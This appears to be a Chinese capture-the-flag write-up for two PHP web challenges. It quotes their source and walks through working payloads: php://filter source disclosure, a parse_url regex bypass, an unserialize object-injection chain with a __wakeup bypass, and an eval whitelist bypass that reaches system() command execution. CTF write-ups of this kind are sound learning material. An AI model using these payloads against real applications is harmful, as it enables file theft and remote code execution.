JustSoso
0x01
审查元素发现了提示，伪协议拿源码
/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
1 <?php 2 error_reporting(0); 3 $file = $_GET["file"]; 4 $payload = $_GET["payload"]; 5 if (!isset($file)) { 6 echo \'Missing parameter\' . \'<br>\'; 7 } 8 if (preg_match("/flag/", $file)) { 9 die(\'hack attacked!!!\'); 10 } 11 @include ($file); 12 if (isset($payload)) { 13 $url = parse_url($_SERVER[\'REQUEST_URI\']); 14 parse_str($url[\'query\'], $query); 15 foreach ($query as $value) { 16 if (preg_match("/flag/", $value)) { 17 die(\'stop hacking!\'); 18 exit(); 19 } 20 } 21 $payload = unserialize($payload); 22 } else { 23 echo "Missing parameters"; 24 } ?>
/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php
1 <?php 2 class Handle{ 3 private $handle; 4 public function __wakeup(){ 5 foreach(get_object_vars($this) as $k => $v) { 6 $this->$k = null; 7 } 8 echo "Waking up\n"; 9 } 10 public function __construct($handle) { 11 $this->handle = $handle; 12 } 13 public function __destruct(){ 14 $this->handle->getFlag(); 15 } 16 } 17 18 class Flag{ 19 public $file; 20 public $token; 21 public $token_flag; 22 23 function __construct($file){ 24 $this->file = $file; 25 $this->token_flag = $this->token = md5(rand(1,10000)); 26 } 27 28 public function getFlag(){ 29 $this->token_flag = md5(rand(1,10000)); 30 if($this->token === $this->token_flag) 31 { 32 if(isset($this->file)){ 33 echo @highlight_file($this->file,true); 34 } 35 } 36 } 37 } 38 ?>
0x02
这里用到了parse_url函数在解析url时存在的bug
使用///index.php的方式使其返回false，从而绕过了后面的正则匹配
0x03
构造反序列化
$handle由private修饰，所以要在Handle两边加上%00
O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
_wakeup()绕过
反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup()的执行
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
最终payload为：
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
love_math
0x01
审查元素，在js代码中发现calc,php，访问得到源码
1 <?php 2 error_reporting(0); 3 //听说你很喜欢数学，不知道你是否爱它胜过爱flag 4 if(!isset($_GET[\'c\'])){ 5 show_source(__FILE__); 6 }else{ 7 //例子 c=20-1 8 $content = $_GET[\'c\']; 9 if (strlen($content) >= 80) { 10 die("太长了不会算"); 11 } 12 $blacklist = [\' \', \'\t\', \'\r\', \'\n\',\'\\'\', \'"\', \'`\', \'\[\', \'\]\']; 13 foreach ($blacklist as $blackitem) { 14 if (preg_match(\'/\' . $blackitem . \'/m\', $content)) { 15 die("请不要输入奇奇怪怪的字符"); 16 } 17 } 18 //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 19 $whitelist = [\'abs\', \'acos\', \'acosh\', \'asin\', \'asinh\', \'atan2\', \'atan\', \'atanh\', \'base_convert\', \'bindec\', \'ceil\', \'cos\', \'cosh\', \'decbin\', \'dechex\', \'decoct\', \'deg2rad\', \'exp\', \'expm1\', \'floor\', \'fmod\', \'getrandmax\', \'hexdec\', \'hypot\', \'is_finite\', \'is_infinite\', \'is_nan\', \'lcg_value\', \'log10\', \'log1p\', \'log\', \'max\', \'min\', \'mt_getrandmax\', \'mt_rand\', \'mt_srand\', \'octdec\', \'pi\', \'pow\', \'rad2deg\', \'rand\', \'round\', \'sin\', \'sinh\', \'sqrt\', \'srand\', \'tan\', \'tanh\']; 20 preg_match_all(\'/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/\', $content, $used_funcs); 21 foreach ($used_funcs[0] as $func) { 22 if (!in_array($func, $whitelist)) { 23 die("请不要输入奇奇怪怪的函数"); 24 } 25 } 26 //帮你算出答案 27 eval(\'echo \'.$content.\';\'); 28 }
0x02
经过分析：
有长度限制，不能超过80
虽然有/m，但是\r在黑名单中，所以不存在换行绕过
传给c的参数不能是字母，只允许使用白名单的函数作字符串
要用白名单中的函数将数字转成字母，发现base_convert()和dechex()两个函数
0x03
最终payload：
c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($$pow){0}(($$pow){1})&0=system&1=cat%20flag.php
解释如下：
dechex(1598506324)得到的是_GET进行hex编码的值
base_convert(37907361743,10,36)得到的是函数hex2bin
c的值定义了$pow=_GET，那么$$pow=$_GET
最后执行的代码为$_GET{system}($_GET{cat flag.php})